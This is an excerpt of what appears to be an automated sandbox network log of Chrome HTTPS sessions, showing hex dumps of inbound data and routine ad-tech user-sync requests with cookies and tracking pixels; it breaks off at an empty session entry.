2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 0e 59 4e d5 71 0a e3 bb 66 15 63 2d af 0c 97 4b 33 ea 24 64 bb a7 ae ef 90 91 93 a7 e8 ab 9d 95 8f a0 f7 23 ad 80 2a 80 ee fd 63 65 83 7a 3f 16 9a 0e 73 60 53 15 6a a2 68 83 41 20 4e af d5 47 98 bb 9c 8e 9e 46 1a b2 13 c9 1a e4 0c 8a 6b 84 f2 26 b8 1e 44 d7 01 90 5d 68 19 15 d6 81 92 4d 78 18 f5 d7 2a 79 67 e9 89 19 05 d7 11 32 26 b8 6b 24 6b 40 c9 2e b0 0c a2 ea 95 ac a3 b5 2a d6 5d 74 ea e3 98 35 03 59 83 50 a2 cb 16 15 d6 55 bb be a2 bf c7 ad 55 5d 1b 1a ae 56 2c b8 8b 09 d8 4c a2 b2 c7 74 68 56 7c ea 75 e9 32 3d 56 45 47 72 88 b0 27 40 dd 97 cb ed 6a 6d 3a 79 bd b1 06 e0 de d8 75 58 18 e3 f5 47 79 7d 84 72 fa 14 8c 06 ae 53 b8 47 12 e9 b4 73 40 00 05 40 05 45 00 00 5f 3c f4 3f 25 4a cc bc eb 4d 19 e5 d1 8c cd a5 ec 48 c6 b4 9a 8a 30 c9 dd c7 54 5a 8d Data Ascii: YNqfc-K3$d#cez?s`SjhA NGFk&D]hMxyg2&k$k@.*]t5YPUU]V,LthV\|u2=VEGr'@jm:yuXGy}rSGs@@E_<?%JMH0TZ
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: da 1d bd 94 70 ac be af 6a a2 e2 2d 84 ea 87 43 7d 4a d6 2a de a6 dd f5 77 bd 79 74 e7 74 f5 ab c6 3c 61 29 dc ab e1 65 a3 a1 ca 99 5d 11 05 36 9d c6 b8 36 4f 41 71 e3 64 c4 a2 e7 f4 39 e9 ad aa a0 e2 aa 8a 00 00 00 00 00 35 cd 00 00 00 00 00 00 0f 3b c1 6f b0 5a f1 e9 64 47 59 66 b9 3a ca bf 97 5b 63 ce ca 2e 34 a9 3d a9 dd de 2c c8 b4 68 ac b4 ae b2 9d 2f 83 3e 01 28 b2 e1 ca b2 88 74 96 f4 d6 e5 c6 da 56 49 7d 4f 4f c2 dd a6 1e 85 71 60 89 c0 27 34 21 92 c0 8a 92 91 11 96 42 04 72 42 33 8a 77 41 c3 d6 67 d0 5e 9a 9e 64 07 a6 9e 64 07 a6 9e 62 07 a7 2f 98 01 e9 e7 97 82 f5 03 cb d0 3d 44 f2 e1 9e a2 be 58 07 a9 1e 5a 82 f5 33 cb 06 58 61 2d 2a af cd a5 63 db 3c 3a cb 18 b6 92 84 29 4f e9 55 fc 17 ab e1 7f 7a eb 28 15 3a bb 08 52 74 62 93 0f bf 22 50 24 Data Ascii: pj-C}Jwytt<a)e]66OAqd95;oZdGYf:[c.4=,h/>(tVI}OOq`'4!BrB3wAg^ddb/=DXZ3Xa-c<:)OUz(:Rtb"P$
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 0c 3e 9a 77 e0 77 e3 e1 80 ac 1c c1 53 0f 1a bf 40 b5 fc 89 89 7d 5f d9 20 83 50 6a 16 cf 4b ee d2 36 57 75 1a 41 5f 18 d8 ae 4e 34 f7 53 4f 75 25 b7 dc 26 1d 6b a9 61 a0 94 d0 ca 36 df 33 97 68 ab 36 8a b3 68 ab 36 8a b3 68 ab 16 dd 3b 56 ce c5 8f a9 3a 9f dd 16 6f 64 cf ae 27 60 35 c8 63 e3 80 ad 1d 1a 1d 8a 85 57 a0 5a fe 44 a9 7b dd 54 fa 79 e3 74 b0 49 4e f4 55 1a e7 0d 55 2d 5e 97 dd b4 a7 77 53 cb 06 63 23 81 d1 b3 2e 63 2e 6c 16 29 95 af 81 cf 6e 81 70 db c8 e8 d6 37 f9 e1 e7 87 9e 1e 78 79 e0 fa 6e f7 50 7f b6 75 47 b9 2c be c9 04 70 ab f4 b5 70 1b 20 92 89 21 8f d0 e2 b3 d0 2d 7f 22 54 7b 9b 6f eb a6 95 cf 7c b9 c8 d5 64 88 36 44 2d 0e ee 87 ee db 71 e4 b3 55 e4 3f 72 69 b9 34 dc 98 24 d2 2a 66 ca 61 5e 42 ea 96 b7 36 53 36 53 36 51 f5 b9 4b b9 Data Ascii: >wwS@}_ PjK6WuA_N4SOu%&ka63h6h6h;V:od'`5cWZD{TytINUU-^wSc#.c.l)np7xynPuG,pp !-"T{o\|d6D-qU?ri4$*fa^B6S6S6QK
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: e9 d1 7b 3f b3 d5 7e b2 96 45 fd 96 38 8a c4 51 29 da 53 46 8d 22 6a 78 49 f8 4a 8f 3c f4 35 08 32 61 26 42 49 4e de e5 c8 32 91 0a 8f 28 4b 6f bf ea 3f 8b e9 d9 91 96 bd 5b 0d 5b 0d 63 0d 63 0d 5b 0a 8b 9b 29 d9 c8 23 35 8c 35 6c 35 8c 35 6c 35 6c 35 8c 35 6c 2f 75 2d 7d af a7 6a d2 9a d8 cb 9c 6a b6 27 2b 96 05 55 8a 4f 4e e8 8d cd a7 a7 6c d2 c3 12 46 42 89 d8 cf c7 56 fa 74 5e d3 ec f5 5f aa a5 99 7f 68 d5 f3 41 08 ff 00 2d 71 9c 2c b8 9a 52 48 4e df 38 e3 53 b1 47 22 8d c4 41 e5 42 ff 00 8c b6 fb ee a4 f8 bb 13 5d 25 a3 67 a9 36 7a 93 67 a9 23 b5 d5 46 ed 25 58 da 59 30 d2 38 d2 b8 d2 b8 7d 25 46 3a 4a b3 68 a9 36 7a 93 69 a8 42 e5 6d 9e 1a 1e 9e a4 75 45 bd 2d 72 67 db 68 5f 44 ac 82 36 23 db dc da ea 19 a7 91 94 35 71 ad 24 33 b5 bd 8d 4f 0e ad f4 Data Ascii: {?~E8Q)SF"jxIJ<52a&BIN2(Ko?[[cc[)#55l55l5l55l/u-}jj'+UONlFBVt^_hA-q,RHN8SG"AB]%g6zg#F%XY08}%F:Jh6ziBmuE-rgh_D6#5q$3O
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 89 dc b8 77 ba 45 ee 7b 9b 83 e4 70 ee c5 47 bd 5c 2a a0 e7 b9 ed 47 e2 9e 6f 44 76 29 dc aa 98 e0 2c a7 ea 61 8f 6a 63 82 77 76 a3 5c 22 e0 35 c3 5c 22 ae 2a ec 46 ab 9c ab dc 77 2e 2d 7b a3 5c 5b 32 77 2b 15 5b 98 36 5e d1 62 ee 11 ca d5 48 95 e7 62 b1 6d af 66 4b 70 45 86 a1 58 47 56 d7 08 a8 bf 65 55 10 a8 ac 46 8b dd 22 b2 34 2a 18 89 4c ea 69 5c 68 a5 3f 88 ae 5c 7b c7 14 ef 6c 4f ab ad a7 9a 34 18 8b 29 a0 94 d1 48 68 24 12 df 21 b7 48 25 ba 43 6f 79 a0 79 a1 79 a0 71 a0 90 db 9e a3 e8 24 8d ab e6 45 26 58 e5 ee 56 af 68 be 63 57 04 55 c4 6a f6 8b 2e 28 9e 4b dc 7e 0c 4e ff 00 06 fe 91 cf ee 23 72 b4 47 ab d2 df 40 8e 25 88 cb 53 b5 c8 47 53 3c 44 17 05 70 d9 51 c6 3f 4b e5 46 92 ce af 11 a2 34 6a 15 09 fb 65 ac 7c 66 e4 fc 1c ee f5 fa 70 11 ca d3 Data Ascii: wE{pG\GoDv),ajcwv\"5\"Fw.-{\[2w+[6^bHbmfKpEXGVeUF"4*Li\h?\{lO4)Hh$!H%Coyyyq$E&XVhcWUj.(K~N#rG@%SGS<DpQ?KF4je\|fp
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: c9 8a 92 2d 4b f9 18 e2 fa 31 d0 8b 29 e8 e3 37 62 9c 71 f6 98 d6 ed dc 36 ff 00 6c 4a df 5d 4e f2 7d 59 3a b2 dc 53 d4 49 3b 33 7b 93 27 d0 a0 ad 72 bc bd a6 95 f2 2b 75 42 ee 5c 28 b5 19 a6 cd 55 e9 45 c9 94 77 6c 5b fa 9b 68 ff 00 f3 ff 00 c1 da fc 8a f6 95 3d b4 d5 99 a7 bd 37 ee 1f e3 ab de 4f e4 a9 ca 44 79 c8 a2 4e 1c 8a 50 2b 53 bc 4d 3d 3b 22 a2 bb 42 ee 5c 1c e2 b9 32 29 cd 72 1a b7 53 67 89 22 df ca 67 25 d1 ff 00 c3 d9 f2 bf 25 5e f2 4f 9b 2a 43 7a b9 42 89 1a 16 25 d0 a4 55 e8 53 65 49 ac 88 8b f7 26 2a d1 f2 66 89 96 26 58 99 51 95 19 11 91 19 11 be 26 f8 9b d1 bd 1b d1 91 19 11 92 26 48 99 62 54 77 95 d1 2e e9 ff 00 a2 8c 6f 02 11 b1 12 bc 12 e8 43 91 3e 68 8a 68 9d 3f 72 62 2d c5 2f cb 72 fc 5c 7b df f4 69 fb 05 c2 70 72 3d 2b 3d 2f f6 7a Data Ascii: -K1)7bq6lJ]N}Y:SI;3{'r+uB\(UEwl[h=7ODyNP+SM=;"B\2)rSg"g%%^OCzB%USeI&f&XQ&&HbTw.oC>hh?rb-/r\{ipr=+=/z
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: c7 9d c4 53 dc 73 9f c0 e2 d9 81 81 89 66 59 96 65 99 66 58 b1 8a 31 46 28 c5 18 98 98 98 94 d2 44 dd e6 58 69 8d 17 32 b1 19 c9 fc 0a 9b 30 91 8c cc 66 63 23 19 18 c8 c6 46 32 31 91 8c 8c 64 63 23 09 18 48 c2 46 13 30 91 a7 33 4e 46 9c cd 29 9a 53 34 e6 69 c8 54 9f c8 fe d3 ff c4 00 41 10 00 01 02 02 06 07 04 08 03 08 02 03 00 00 00 00 00 01 02 03 11 12 21 31 32 33 91 04 10 34 71 72 92 a1 13 22 30 41 20 40 42 51 61 73 81 b1 43 82 c1 14 23 35 50 52 62 a2 d1 24 93 05 44 f0 ff da 00 08 01 01 00 06 3f 02 fe 67 6c 91 0f 33 de 9f ce 95 ba 97 f9 d4 d0 ef 54 a4 99 5a fa 35 78 92 63 66 5c 2a 69 51 78 bc a5 f7 17 df 99 88 e4 fa 98 ae cc c5 76 66 2b b3 31 5d 99 88 e2 fa 97 d4 be a5 f5 2f a9 7d 44 63 5e b3 2b 7a 98 ae cc c5 76 66 2b f3 31 5d 99 8a ec cc 57 66 62 bb Data Ascii: SsfYefX1F(DXi20fc#F21dc#HF03NF)S4iTA!1234qr"0A @BQasC#5PRb$D?gl3TZ5xcf\*iQxvf+1]/}Dc^+zvf+1]Wfb
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: 92 2a b1 7d 18 9c 2b ab 47 f9 89 e2 69 b4 92 7d ff 00 f6 58 85 88 58 85 88 79 16 21 62 16 21 62 1e 47 91 e4 79 16 21 e4 68 f2 4f 35 21 43 76 91 27 35 a8 8b dd 53 68 ff 00 15 36 8f f1 53 68 ff 00 15 36 8f f1 53 68 ff 00 15 36 8f f1 53 68 ff 00 15 2a 8e 9c aa 44 8b 0d 66 d7 d2 54 53 47 e1 5d 4b c5 a9 49 12 f4 50 4d 4d d5 2d 71 38 57 56 8d f3 10 ed 22 bd 18 d4 f3 53 6a 61 b5 30 da 98 6d 4c 36 a6 1b 53 0d a9 86 d4 c3 6a 61 b5 30 d2 9d 16 33 5a 8e 7c d3 e3 69 3f da 51 77 21 8c bc a6 32 f2 9b 45 1d e8 6d 90 f2 29 c2 7a 46 9f b8 86 bd 93 68 b9 2c fa 89 16 1a d4 bd 0a f5 c5 87 34 a3 ec 7a 1a 3e f5 21 c4 77 6b 37 35 15 7b c7 e2 f3 1f 8b cc 7e 2f 31 f8 bc c7 e2 f3 1f 8b cc 7e 2f 31 f8 bc c2 47 83 da 53 4a ab 53 47 e1 5d 4f e2 d4 a3 89 af a1 69 32 4e b0 9d 29 93 d4 Data Ascii: }+Gi}XXy!b!bGy!hO5!Cv'5Sh6Sh6Sh6ShDfTSG]KIPMM-q8WV"Sja0mL6Sja03Z\|i?Qw!2Em)zFh,4z>!wk75{~/1~/1GSJSG]Oi2N)
2024-04-11 21:27:02 UTC	1369	IN	Data Raw: b3 37 9c d9 5b ce 6c ad e6 36 56 f3 1b 2b 39 8d 99 9c c6 cc ce 63 66 67 31 b3 33 98 d9 a1 e6 6c d0 f3 36 68 79 9b 3c 3c cd 9e 1e 66 cf 0b 35 36 78 59 a9 b3 c2 cd 4d 9e 16 6a 6c f0 ba 98 10 ba 98 10 ba 98 10 ba 98 10 ba 98 10 ba 98 30 7a 98 30 7a 98 30 7a 98 50 7a 98 50 7a 98 70 72 53 0e 0e 4a 5c 83 91 72 0e 45 d8 39 17 60 e4 31 63 51 ee 59 45 35 46 fa 6a 4f 4a df 06 26 ef e5 71 be 9a 93 c7 89 bb c2 f3 f5 7b aa 5d d7 61 61 62 fa 11 fe 9e a2 fa 75 25 84 e1 c5 6b be 0a 49 c8 3f b4 55 44 6a 79 18 8f e8 62 3f a1 88 fe 85 f7 f4 2f bf a1 7d fd 0b ef 2f 3c bc f2 d7 96 bf 33 db cc f6 f3 3d bc cb 1d 99 63 b3 2e bb 32 eb b9 8b ae e6 2e bb 98 b8 ee 62 e2 e6 5c 5c cb 8b 99 86 b9 98 7d 4c 3e a6 1f 53 0f a9 85 d4 c2 ea 61 75 53 0b aa 98 5d 54 c2 ea a6 17 55 22 2b 61 77 Data Ascii: 7[l6V+9cfg13l6hy<<f56xYMjl0z0z0zPzPzprSJ\rE9`1cQYE5FjOJ&q{]aabu%kI?UDjyb?/}/<3=c.2.b\\}L>SauS]TU"+aw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.17	50170	8.18.47.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	529	OUT	GET /usersync/142?redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Ddit%26i%3D%24%7BDI_USER_ID%7D HTTP/1.1 Host: match.deepintent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CDIPARTNERS=%7B%221%22%3A%2220240411%22%7D; CDIUSER=di_b23c26339dbf4ab9aa059
2024-04-11 21:27:01 UTC	645	IN	HTTP/1.1 303 See Other p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' location: https://usersync.gumgum.com/usersync?b=dit&i=di_b23c26339dbf4ab9aa059 set-cookie: CDIUSER=di_b23c26339dbf4ab9aa059; Max-Age=47260800; SameSite=None; Expires=Fri, 10 Oct 2025 21:27:01 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240411%22%2C%22142%22%3A%2220240411%22%7D; Max-Age=47260800; SameSite=None; Expires=Fri, 10 Oct 2025 21:27:01 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Thu, 11 Apr 2024 21:27:00 GMT server: c connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.17	50178	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	463	OUT	GET /xuid?mid=7976&xuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&dongle=u6nf&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluid=3952083078138885077332
2024-04-11 21:27:01 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3952083078138885077332; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:01 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3952083078138885077332; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:01 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-04-11 21:27:01 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.17	50177	34.200.65.202	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	762	OUT	GET /ups/58294/sync?_origin=1&uid=2e900569-927a-06eb-1392-726f7eb2d7a0&verify=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBKVVGGYCEPQl9jf0CBX-b2h6zQMimWUFEgEBAQGnGWYiZtxH0iMA_eMAAA&S=AQAAApnkDuCYySCcSyI641A3060
2024-04-11 21:27:01 UTC	609	IN	HTTP/1.1 204 No Content Date: Thu, 11 Apr 2024 21:27:01 GMT Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=18za~2ht9;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 11-Apr-2025 21:27:01 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Connection: close Server: ATS/9.1.10.106 Set-Cookie: A3=d=AQABBKVVGGYCEPQl9jf0CBX-b2h6zQMimWUFEgEBAQGnGWYiZtxH0iMA_eMAAA&S=AQAAApnkDuCYySCcSyI641A3060; Expires=Sat, 12 Apr 2025 03:27:01 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.17	50160	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	773	OUT	GET /usersync?b=sus&i=ZhhVpcCo5ucAAKwn53sAAAAA HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:01 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.17	50192	67.202.105.21	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1352	OUT	GET /ps/?us_privacy=1---&ts=1712870821243.2&ri=25&ru=https%3A%2F%2Fads.pubmatic.com%2FAdServer%2Fjs%2Fuser_sync.html%3F%26p%3D156423%26us_privacy%3D%24%7BUS_PRIVACY%7D%26predirect%3Dhttps%253A%252F%252Fevents-ssc.33across.com%252Fmatch%253Fliv%253Dh%2526us_privacy%253D%24%7BUS_PRIVACY%7D%2526bidder_id%253D25%2526external_user_id%253D HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:02 UTC	735	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534; Domain=.33across.com; Expires=Fri, 11-Apr-2025 21:27:02 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 40000000008200000A server: 33XP004 location: https://ads.pubmatic.com/AdServer/js/user_sync.html?&p=156423&us_privacy=1---&predirect=https%3A%2F%2Fevents-ssc.33across.com%2Fmatch%3Fliv%3Dh%26us_privacy%3D1---%26bidder_id%3D25%26external_user_id%3D content-length: 0 date: Thu, 11 Apr 2024 21:27:02 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.17	50191	34.200.65.202	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	787	OUT	GET /ups/58292/sync?_origin=1&uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&redir=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
2024-04-11 21:27:02 UTC	741	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=18z8~2ht9;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 11-Apr-2025 21:27:02 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://image4.pubmatic.com/AdServer/SPug?partnerID=156078&xid=y-A2UXkupE2uXw2ttIdZaIB8OFnkwUuqs-~A&gdpr=0 Age: 0 Connection: close Server: ATS/9.1.10.106 Set-Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q; Expires=Sat, 12 Apr 2025 03:27:02 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.17	50184	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	665	OUT	GET /usersync?b=apn&i=3393848220146687847 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.17	50176	185.184.8.90	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	761	OUT	GET /cm-notify?pi=gumgum&tc=1 HTTP/1.1 Host: creativecdn.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=ouNOiU9ACIjtQdGvKF3V_1712870820978; ts=1712870820
2024-04-11 21:27:02 UTC	402	IN	HTTP/1.1 302 Found date: Thu, 11 Apr 2024 21:27:02 GMT vary: Accept-Encoding location: https://usersync.gumgum.com/usersync?b=rth&i=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=gumgum&tc=1 cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 11 Apr 2024 21:27:02 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.17	50174	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
